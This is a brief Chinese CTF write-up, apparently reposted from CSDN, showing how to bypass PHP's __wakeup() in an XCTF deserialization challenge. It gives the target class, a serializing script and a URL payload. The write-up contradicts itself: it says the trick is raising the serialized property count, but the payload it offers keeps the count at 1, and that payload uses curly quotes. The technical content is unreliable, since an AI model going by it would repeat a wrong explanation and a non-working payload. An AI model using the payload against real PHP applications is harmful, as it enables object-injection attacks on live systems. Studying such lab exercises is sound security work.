题目可以知道是关于PHP序列化的问题。
class xctf{ //定义类xctf
public $flag = '111'; //flag赋值为111
public function __wakeup(){ //关于魔术变量_wakeup()
exit('bad requests');
}
?code=
序列化后的字符串绕过_wakeup():
_wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行_wakeup()函数,这是一个绕过点。
改变序列化后的属性的个数:
<?
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
?>
将源代码的"?code="加上O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;} 添加到url内;
关于PHP反序列化漏洞可以参考:
https://www.jianshu.com/p/1d2c65601d2a
来源:CSDN
作者:LEO__Z
链接:https://blog.csdn.net/zouchengzhi1021/article/details/104277188